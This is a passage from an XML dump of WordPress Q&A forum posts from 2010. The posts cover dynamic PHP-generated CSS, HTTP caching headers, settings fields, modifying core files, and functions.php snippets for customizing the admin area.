&#xA;  echo $my_custom_css; &#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Within &lt;code&gt;&amp;lt;style&amp;gt;&amp;lt;/style&amp;gt;&lt;/code&gt; tags in the header and that would work fine, expect I don't want the CSS inline, I want it on the main CSS file with the expiry header. &lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-09T08:44:10.640" LastActivityDate="2010-09-09T10:55:55.093" Title="Generating CSS Files Dynamically Using PHP Scripts?" Tags="&lt;theme-development&gt;&lt;stylesheet&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="5" />
  <row Id="1561" PostTypeId="2" ParentId="1560" CreationDate="2010-09-09T04:48:47.563" Score="0" ViewCount="" Body="&lt;p&gt;Try coding it like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $my_custom_css = get_theme_mod('my_custom_css');&#xA;  if(!empty($my_custom_css)) {&#xA;    echo $my_custom_css;&#xA;  }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should get you around any scope issues with the &lt;code&gt;get_theme_mod()&lt;/code&gt; function.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2010-09-09T04:48:47.563" CommentCount="2" />
  <row Id="1562" PostTypeId="2" ParentId="1546" CreationDate="2010-09-09T06:23:16.920" Score="0" ViewCount="" Body="&lt;p&gt;try adding '&amp;amp;paged='.$paged to your query string&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $mainList_query = new WP_Query('cat=4,352,731,754,49,44,54,17&amp;amp;showposts=200&amp;amp;order=DESC&amp;amp;paged='.$paged); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="784" LastActivityDate="2010-09-09T06:23:16.920" />
  <row Id="1563" PostTypeId="1" AcceptedAnswerId="1696" CreationDate="2010-09-09T06:57:36.260" Score="3" ViewCount="447" Body="&lt;p&gt;I'm using add_settings_field to add some more details to a settings menu, but not sure how I save the settings, or call them back in my theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code thus far&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_init','vimeo_setup');&#xA;&#xA;function vimeo_setup(){&#xA;add_settings_field('vimeo_id','Vimeo ID','display_vimeo','general');&#xA;}&#xA;&#xA;function display_vimeo(){&#xA;&#xA; echo '&amp;lt;input  type=&quot;text&quot; name=&quot;vimeo_id&quot; id=&quot;vimeo_id&quot; value=&quot;&quot; size=&quot;30&quot; style=&quot;width:85%&quot; /&amp;gt;';&#xA; echo '&amp;lt;p&amp;gt;&amp;lt;small&amp;gt; Enter your Vimeo ID here.&amp;lt;/small&amp;gt;&amp;lt;/p&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="784" LastActivityDate="2010-11-08T16:24:38.250" Title="use add_settings_field properly?" Tags="&lt;admin&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="1564" PostTypeId="1" AcceptedAnswerId="1586" CreationDate="2010-09-09T07:08:42.070" Score="8" ViewCount="308" Body="&lt;h3&gt;Why?&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Sometimes an easy fix to altering the behavior of WordPress itself or a plugin could be to alter the files of the plugin or WordPress directly. When coming up with such an idea, the usual response is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Don't hack core.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Why is it generally a bad idea to change core files?&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Consider?&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Sometimes, however, things that can be critical for a site is simply impossible to do, in a nice way without altering core files. When in such a situation, what do you need to be aware of, before you go ahead and starting hacking core?&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;How?&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You have considered all the options, but the only solution is hacking core files. How should you go about doing this? How will having an altered core, influence workflows, like updating?&lt;/p&gt;&#xA;" OwnerUserId="94" LastActivityDate="2010-09-09T14:27:03.840" Title="Modifying WordPress core files" Tags="&lt;core&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="1" />
  <row Id="1566" PostTypeId="2" ParentId="1564" CreationDate="2010-09-09T08:20:41.587" Score="1" ViewCount="" Body="&lt;p&gt;The issues are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Every time you do an update of the core (e.g. because of a security fix, etc), you will have to manually update it, instead of running the automatic updater.&lt;br&gt;&#xA;If you wish to do this, then make life easier for yourself:&lt;br&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;mark every change with a common marker (.e.g &lt;code&gt;// PATCH START&lt;/code&gt; and &lt;code&gt;// PATCH END&lt;/code&gt;)  &lt;/li&gt;&#xA;&lt;li&gt;use a tool like WinMerge to compare the existing source with the new source, and copy across changes where necesary.  &lt;/li&gt;&#xA;&lt;li&gt;you will have to watch out in case the area of code that you're copying across has changed, and make the appropriate changes to your patches &lt;/li&gt;&#xA;&lt;li&gt;be aware that this is a 'never-ending' job, taking up billable time, unless you can rebill your client for it.  &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;You may cause incompatibility issues with plugins that expect the core to function in a certain way - this will require extra testing&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Sometimes this is 100% unavoidable, but I nearly always can come up with another way of achieving things, or altering spec due to the likely cost of time spent doing this. It's just a maintenance nightmare, and many people go for hacking core, instead of looking for the proper solution.&lt;/p&gt;&#xA;" OwnerUserId="798" LastActivityDate="2010-09-09T08:20:41.587" />
  <row Id="1567" PostTypeId="1" AcceptedAnswerId="1569" CreationDate="2010-09-09T08:29:00.087" Score="92" ViewCount="16807" Body="&lt;h2&gt;UPDATED DESCRIPTION:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PLEASE REMEMBER TO ADD ANY OF YOUR OWN FUNCTIONS TO THIS LIST&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please vote on the question and any answers you find useful by clicking on the UP arrow on the left hand side of the question or answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As with many others who are now viewing this post, I have been reading various blogs, forums, and discussion groups to learn and improve my wordpress skills. Over the past 12 months I have been on a mission to substitute my use of plugins by adding code to my &lt;code&gt;functions.php&lt;/code&gt; file instead. While I completely agree that plugins are very useful in many situations my experience proved that in 90% of usage cases although a plugin might exist, actually utilizing it could create unnecessary complications and compatibility issues. Additionally in a great deal of case such plugins added menus and other admin elements which I don't want or need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More often than not I have found that by analyzing the code of plugins I was able to strip out the piece of code I wanted and hard code it into my &lt;code&gt;functions.php&lt;/code&gt;. This provided me with the exact functionality I needed without having to include unnecessary elements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the purpose of this post is my attempt to engage you, the reader/admin/developer, to share with me and other here any code bits which you find useful and have added to your theme's &lt;code&gt;function.php&lt;/code&gt; file to extend or enhance WordPress without utilizing a plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you submit a response here please kindly give each code bit a title, let us know if with what version of wordpress you know its compatible with, include whatever description you feel best describes its function and (if applicable) include a link to the original plugin or source where you found the information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking forward to all your responses and will of course continually add my own new finds whenever I find them.&lt;/p&gt;&#xA;" OwnerUserId="479" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2010-11-11T12:25:38.050" LastActivityDate="2011-09-05T17:48:38.787" CommunityOwnedDate="2010-09-09T14:38:11.363" Title="Best Collection of Code for your functions.php file" Tags="&lt;admin&gt;&lt;customization&gt;&lt;functions&gt;&lt;overridable-functions&gt;" AnswerCount="88" CommentCount="16" FavoriteCount="172" />
  <row Id="1568" PostTypeId="2" ParentId="1567" CreationDate="2010-09-09T08:37:11.127" Score="13" ViewCount="" Body="&lt;h2&gt;Customize the order of the admin menu&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;tested on:&lt;/strong&gt; Wordpress 3.0.1&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code will allow you to reorganize the order of elements in the admin menu. All that you need to do is click on an existing link in the admin menu and copy everything before the /wp-admin/ URL. The order below represents the order the new admin menu will have.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// CUSTOMIZE ADMIN MENU ORDER&#xA;   function custom_menu_order($menu_ord) {&#xA;       if (!$menu_ord) return true;&#xA;       return array(&#xA;        'index.php', // this represents the dashboard link&#xA;        'edit.php?post_type=events', // this is a custom post type menu&#xA;        'edit.php?post_type=news', &#xA;        'edit.php?post_type=articles', &#xA;        'edit.php?post_type=faqs', &#xA;        'edit.php?post_type=mentors',&#xA;        'edit.php?post_type=testimonials',&#xA;        'edit.php?post_type=services',&#xA;        'edit.php?post_type=page', // this is the default page menu&#xA;        'edit.php', // this is the default POST admin menu &#xA;    );&#xA;   }&#xA;   add_filter('custom_menu_order', 'custom_menu_order');&#xA;   add_filter('menu_order', 'custom_menu_order');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="479" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-10T10:29:56.050" LastActivityDate="2010-10-10T10:29:56.050" CommunityOwnedDate="2010-09-09T14:38:11.363" CommentCount="1" />
  <row Id="1569" PostTypeId="2" ParentId="1567" CreationDate="2010-09-09T08:45:50.187" Score="19" ViewCount="" Body="&lt;h2&gt;Remove Default Wordpress Meta Boxes&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Tested on:&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;Wordpress 3.0.1&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code will allow you to remove specific Meta Boxes which wordpress adds by default to the default Add/Edit Post and Add/Edit Page screens.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// REMOVE META BOXES FROM DEFAULT POSTS SCREEN&#xA;   function remove_default_post_screen_metaboxes() {&#xA; remove_meta_box( 'postcustom','post','normal' ); // Custom Fields Metabox&#xA; remove_meta_box( 'postexcerpt','post','normal' ); // Excerpt Metabox&#xA; remove_meta_box( 'commentstatusdiv','post','normal' ); // Comments Metabox&#xA; remove_meta_box( 'trackbacksdiv','post','normal' ); // Talkback Metabox&#xA; remove_meta_box( 'slugdiv','post','normal' ); // Slug Metabox&#xA; remove_meta_box( 'authordiv','post','normal' ); // Author Metabox&#xA; }&#xA;   add_action('admin_menu','remove_default_post_screen_metaboxes');&#xA;&#xA;&#xA;// REMOVE META BOXES FROM DEFAULT PAGES SCREEN&#xA;   function remove_default_page_screen_metaboxes() {&#xA; remove_meta_box( 'postcustom','post','normal' ); // Custom Fields Metabox&#xA; remove_meta_box( 'postexcerpt','post','normal' ); // Excerpt Metabox&#xA; remove_meta_box( 'commentstatusdiv','post','normal' ); // Comments Metabox&#xA; remove_meta_box( 'trackbacksdiv','post','normal' ); // Talkback Metabox&#xA; remove_meta_box( 'slugdiv','post','normal' ); // Slug Metabox&#xA; remove_meta_box( 'authordiv','post','normal' ); // Author Metabox&#xA; }&#xA;   add_action('admin_menu','remove_default_page_screen_metaboxes');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="479" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-01-26T14:36:18.643" LastActivityDate="2011-01-26T14:36:18.643" CommunityOwnedDate="2010-09-09T14:38:11.363" CommentCount="1" />
  <row Id="1570" PostTypeId="2" ParentId="1567" CreationDate="2010-09-09T08:52:16.877" Score="2" ViewCount="" Body="&lt;h2&gt;Reposition the WYSIWYG Editor through JQUERY&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Tested on:&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;Wordpress 3.0.1&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code will allow you to remove specific meta boxes which wordpress adds by default to the POST and PAGES screens.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// REPOSITION WYSIWYG EDITOR THROUGH JQUERY&#xA;   add_action('admin_head','admin_head_hook');&#xA;   function admin_head_hook() {&#xA; ?&amp;gt;&amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;  #postdiv.postarea, #postdivrich.postarea { margin:0; }&#xA;  #post-status-info { line-height:1.4em; font-size:13px; }&#xA;  .custom-wysiwyg-editor-container { margin:2px 6px 6px 6px; }&#xA;  #ed_toolbar { display:none; }&#xA;  #postdiv #ed_toolbar, #postdivrich #ed_toolbar { display:block; }&#xA; &amp;lt;/style&amp;gt;&amp;lt;?php&#xA;   }&#xA;&#xA;   add_action('admin_footer','admin_footer_hook');&#xA;   function admin_footer_hook() {&#xA; ?&amp;gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;  jQuery('#postdiv, #postdivrich').prependTo('.custom-wysiwyg-editor-container');&#xA; &amp;lt;/script&amp;gt;&amp;lt;?php&#xA;   }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="479" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-01-26T14:31:49.647" LastActivityDate="2011-01-26T14:31:49.647" CommunityOwnedDate="2010-09-09T14:38:11.363" />
  <row Id="1572" PostTypeId="2" ParentId="1564" CreationDate="2010-09-09T09:13:53.823" Score="0" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Don't hack core.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Well that's because it's a suggestion for the first level, inexperienced users. Those hacking core would break their installation, they can not ensure that their changes persist an update etc. .&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Sure, hack core!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Sure you can actually hack core, for example by using a version management system like SVN. It helps you to keep your own changes on core code into line with project updates. It also helps to create patches for Wordpress and send them to the project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hacking core is infact making Wordpress evolve.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Considerations&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;If you don't want to install a full SVN and you still know which (some) files you've changed, you can use more low-level tools like &lt;em&gt;Diff/Merge&lt;/em&gt; (for win: &lt;a href=&quot;http://winmerge.org/&quot; rel=&quot;nofollow&quot;&gt;WinMerge&lt;/a&gt;) or editors with compare capabilities (e.g. &lt;a href=&quot;http://sourceforge.net/apps/mediawiki/notepad-plus/index.php?title=Plugin_Central&quot; rel=&quot;nofollow&quot;&gt;Notepad++ with Compare Plugin&lt;/a&gt;). On Linux you can easily install command-line utilities that do the same. The &lt;a href=&quot;http://www.geany.org/&quot; rel=&quot;nofollow&quot;&gt;Geany editor&lt;/a&gt; comes with a nice shell integration btw. .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I prefer Eclipse PDT for the hard jobs. But that's not for the quick edit or hack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I would say, if you're using the right tools and you want to take care hacking the core is the way to go. If you're hacking something together that's left over on some other Noob users server (yup, Wordpress is pretty popular), just provide a plugin that can be thrown out easily if it breaks something.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-09-09T09:13:53.823" CommentCount="0" />
  <row Id="1573" PostTypeId="2" ParentId="1567" CreationDate="2010-09-09T10:51:01.937" Score="1" ViewCount="" Body="&lt;h2&gt;Automatically close missing tags from the WYSIWYG editor&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Tested on:&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;Wordpress 3.0.1&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code will automatically close any missing tags when using the WYSIWYG editor.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// AUTOMATICALLY CLEAN UP HTML WYSIWYG EDITOR BY CLOSING MISSING TAGS&#xA;   function clean_bad_content($bPrint = false) {&#xA; global $post;&#xA; $szPostContent  = $post-&amp;gt;post_content;&#xA; $szRemoveFilter = array(&quot;~&amp;lt;p[^&amp;gt;]*&amp;gt;\s?&amp;lt;/p&amp;gt;~&quot;, &quot;~&amp;lt;a[^&amp;gt;]*&amp;gt;\s?&amp;lt;/a&amp;gt;~&quot;, &quot;~&amp;lt;font[^&amp;gt;]*&amp;gt;~&quot;, &quot;~&amp;lt;\/font&amp;gt;~&quot;, &quot;~style\=\&quot;[^\&quot;]*\&quot;~&quot;, &quot;~&amp;lt;span[^&amp;gt;]*&amp;gt;\s?&amp;lt;/span&amp;gt;~&quot;);&#xA; $szPostContent  = preg_replace($szRemoveFilter, '', $szPostContent);&#xA; $szPostContent  = apply_filters('the_content', $szPostContent);&#xA; if ($bPrint == false) return $szPostContent; &#xA; else echo $szPostContent;&#xA;   }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="479" LastEditorUserId="479" LastEditorDisplayName="" LastEditDate="2011-01-26T14:29:35.360" LastActivityDate="2011-01-26T14:29:35.360" CommunityOwnedDate="2010-09-09T14:38:11.363" CommentCount="1" />
  <row Id="1574" PostTypeId="2" ParentId="1560" CreationDate="2010-09-09T10:55:55.093" Score="6" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Ash G:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I didn't follow 100%&lt;/strong&gt; where you were specifically having problems so I'm not sure I really can answer your issues point-by-point &lt;strong&gt;but I can explain how to do this from ground up&lt;/strong&gt;. And unless what you are doing is a good bit more involved then you mentioned it's a little bit more work than I think you were anticipating but it is still completely doable. And even if I'm covering lots of ground that you already know there's a good chance other's with less knowledge or experience will find this via Google and be helped by it too.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Bootstrap WordPress with &lt;code&gt;/wp-load.php&lt;/code&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The first thing we need to do in your &lt;code&gt;my_theme_css.php&lt;/code&gt; file is bootstrap WordPress' core library functions. The following line of code loads &lt;code&gt;/wp-load.php&lt;/code&gt;. It uses &lt;code&gt;$_SERVER['DOCUMENT_ROOT']&lt;/code&gt; to locate the website's root so you don't have to worry about where you store this file on your server; assuming &lt;code&gt;DOCUMENT_ROOT&lt;/code&gt; is set correctly as it always should be for WordPress then this will bootstrap WordPress:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;include_once(&quot;{$_SERVER['DOCUMENT_ROOT']}/wp-load.php&quot;); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So that's the easy part. Next comes the tricky part...&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;PHP Scripts Must Handle All Caching Logic&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Here's where I'll bet you might have stumbled because I sure did as I was trying to figure out how to answer your question. We are so used to the caching details being handled by the Apache web server that we forget or even don't realize &lt;strong&gt;we have to do all the heavy lifting ourselves&lt;/strong&gt; when we load CSS or JS with PHP. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sure the expiry header may be all we need when we have a proxy in the middle but if the request makes it to the web server and the PHP script just willy-nilly returns content and the &lt;em&gt;&quot;Ok&quot;&lt;/em&gt; status code well in essence you'll have no caching.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Returning &quot;200 Ok&quot; or &quot;304 Not Modified&quot;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;More specifically our PHP file that returns CSS needs to respond correctly to the &lt;strong&gt;&lt;em&gt;request&lt;/em&gt;&lt;/strong&gt; headers sent by the browser. Our PHP script needs to return the proper status code based upon what those headers contain. If the content needs to be served because it's a first time request or because the content has expired the PHP script should generate all the CSS content and return with a &lt;em&gt;&quot;200 Ok&quot;&lt;/em&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand if we determine based on the cache-related &lt;strong&gt;&lt;em&gt;request&lt;/em&gt;&lt;/strong&gt; headers that the client browser already has the latest CSS we should &lt;em&gt;not&lt;/em&gt; return any CSS and instead return with a &lt;em&gt;&quot;304 Not Modified&quot;&lt;/em&gt;. The too lines of code for this are respectively &lt;em&gt;(of course you'd never use them both one line after another, I'm only showing that way here for convenience)&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;header('HTTP/1.1 200 Ok');&#xA;header('HTTP/1.1 304 Not Modified');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Four Flavors of HTTP Caching&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Next we need to look at the different ways HTTP can handle caching. The first is what you mention; &lt;code&gt;Expires&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.web-caching.com/mnot_tutorial/how.html#EXPIRES&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Expires&lt;/strong&gt;&lt;/a&gt;: This &lt;code&gt;Expires&lt;/code&gt; header expectz a date in the (&lt;a href=&quot;http://php.net/manual/en/function.gmdate.php&quot; rel=&quot;nofollow&quot;&gt;PHP &lt;code&gt;gmdate()&lt;/code&gt; function&lt;/a&gt;) format of &lt;code&gt;'D, d M Y H:i:s'&lt;/code&gt; with a &lt;code&gt;' GMT'&lt;/code&gt; appended (&lt;em&gt;GMT&lt;/em&gt; stands for &lt;em&gt;Greenwich Mean Time&lt;/em&gt;.) Theoretically if this header is served the browser and downstream proxies will cache until the specified time passes after which it will start requesting the page again. This is probably the best known of caching headers but evidently not the preferred one to use; &lt;a href=&quot;http://www.web-caching.com/mnot_tutorial/tips.html#SCRIPT&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Cache-Control being the better one&lt;/em&gt;&lt;/a&gt;. Interestingly in my testing on &lt;code&gt;localhost&lt;/code&gt; with Safari 5.0 on Mac OS X I was never able to get the browser to respect the &lt;code&gt;Expires&lt;/code&gt; header; it &lt;em&gt;always&lt;/em&gt; requested the file again (if someone can explain this I'd be grateful.) Here's the example you gave from above:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;header(&quot;Expires: Thu, 31 Dec 2020 20:00:00 GMT&quot;);&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.web-caching.com/mnot_tutorial/how.html#CACHE-CONTROL&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Cache-Control&lt;/strong&gt;&lt;/a&gt;: The &lt;code&gt;Cache-Control&lt;/code&gt; header is easier to work with than the &lt;code&gt;Expires&lt;/code&gt; header because you only need to specify the number of time in seconds as &lt;code&gt;max-age&lt;/code&gt; meaning you don't have to come up with an exact date format in string form that is easy to get wrong. Additionally &lt;code&gt;Cache-Control&lt;/code&gt; allows several other options such as being able to tell the client to always re-validated the cache using the &lt;code&gt;mustrevalidate&lt;/code&gt; option and &lt;code&gt;public&lt;/code&gt; when you want to force caching for normally non-cachable requests (i.e requests via &lt;code&gt;HTTPS&lt;/code&gt;) and even not cache if that's what you need (i.e. you might want to force a &lt;a href=&quot;http://www.web-caching.com/mnot_tutorial/how.html#VALIDATE&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;a 1x1 pixel ad tracking .GIF&lt;/em&gt;&lt;/a&gt; not to be cached.) Like &lt;code&gt;Expires&lt;/code&gt; I was also unable to get this to work in testing (&lt;em&gt;any help?&lt;/em&gt;) The following example caches for a 24 hour period (60 seconds by 60 minutes by 24 hours):&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;header(&quot;Cache-Control: max-age=&quot;.60*60*24.&quot;, public, must-revalidate&quot;);&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.web-caching.com/mnot_tutorial/how.html#VALIDATE&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Last-Modified&lt;/strong&gt; / &lt;strong&gt;If-Modified-Since&lt;/strong&gt;&lt;/a&gt;: Then there is the &lt;code&gt;Last-Modified&lt;/code&gt; response header and If-&lt;code&gt;Modified-Since&lt;/code&gt; request header pair. These also use the same GMT date format that the &lt;code&gt;Expires&lt;/code&gt; header use but they do a handshake between client and server. The PHP script needs to send a &lt;code&gt;Last-Modified&lt;/code&gt; header (which, by the way, you should update only when your user last updates their custom CSS) after which the browser will continue to send the same value back as an &lt;code&gt;If-Modified-Since&lt;/code&gt; header and it's the PHP script's responsibility to compare the saved value with the one sent by the browser. Here is where the PHP script needs to make the decision between serving a &lt;code&gt;200 Ok&lt;/code&gt; or a &lt;code&gt;304 Not Modified&lt;/code&gt;. Here's an example of serving the &lt;code&gt;Last-Modified&lt;/code&gt; header using the current time (which is &lt;em&gt;not&lt;/em&gt; what we want to do; see the later example for what we actually need):&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;header(&quot;Last-Modified: &quot; . gmdate('D, d M Y H:i:s', time()).'GMT');&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And here is how you'd read the &lt;code&gt;Last-Modified&lt;/code&gt; returned by the browser via the &lt;code&gt;If-Modified-Since&lt;/code&gt; header:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;$last_modified_to_compare = $_SERVER['HTTP_IF_MODIFIED_SINCE'];&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.web-caching.com/mnot_tutorial/how.html#VALIDATE&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;ETag&lt;/strong&gt; / &lt;strong&gt;If-None-Match&lt;/strong&gt;&lt;/a&gt;: And lastly there's the &lt;code&gt;ETag&lt;/code&gt; response header and the &lt;code&gt;If-None-Match&lt;/code&gt; request header pair. The &lt;code&gt;ETag&lt;/code&gt; which is really just a token that our PHP sets it to a unique value (typically based on the current date) and sends to the browser and the browser returns it. It the current value is different from what the browser returns your PHP script should regenerate the content an server &lt;code&gt;200 Ok&lt;/code&gt; otherwise generate nothing and serve a &lt;code&gt;304 Not Modified&lt;/code&gt;. Here's an example of setting an &lt;code&gt;ETag&lt;/code&gt; using the current time:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;header(&quot;ETag: &quot; . md5(gmdate('D, d M Y H:i:s', time()).'GMT'));&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And here is how you'd read the &lt;code&gt;ETag&lt;/code&gt; returned by the browser via the &lt;code&gt;If-None-Match&lt;/code&gt; header:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;$etag_to_match = $_SERVER['HTTP_IF_NONE_MATCH'];&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now that we've covered all that let's look at the actual code we need:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Serving the CSS file via &lt;code&gt;init&lt;/code&gt; and &lt;code&gt;wp_enqueue_style()&lt;/code&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You didn't show this but I figured I would show it for the benefit of others. Here's the function call that tells WordPress to use &lt;code&gt;my_theme_css.php&lt;/code&gt; for it's CSS. This can be stored in the theme's &lt;code&gt;functions.php&lt;/code&gt; file or even in a plugin if desired:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_action('init','add_php_powered_css');&#xA;function add_php_powered_css() {&#xA;  if (!is_admin()) {&#xA;    $version = get_theme_mod('my_custom_css_version',&quot;1.00&quot;);&#xA;    $ss_dir = get_stylesheet_directory_uri();&#xA;    wp_enqueue_style('php-powered-css', &#xA;        &quot;{$ss_dir}/my_theme_css.php&quot;,array(),$version);&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are several points to note:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Use of &lt;code&gt;is_admin()&lt;/code&gt;&lt;/strong&gt; to avoid loading the CSS while in the admin (unless you want that...),&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Use of &lt;code&gt;get_theme_mod()&lt;/code&gt;&lt;/strong&gt; to load the CSS with a default version of &lt;code&gt;1.00&lt;/code&gt; (more on that in a bit),&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Use of 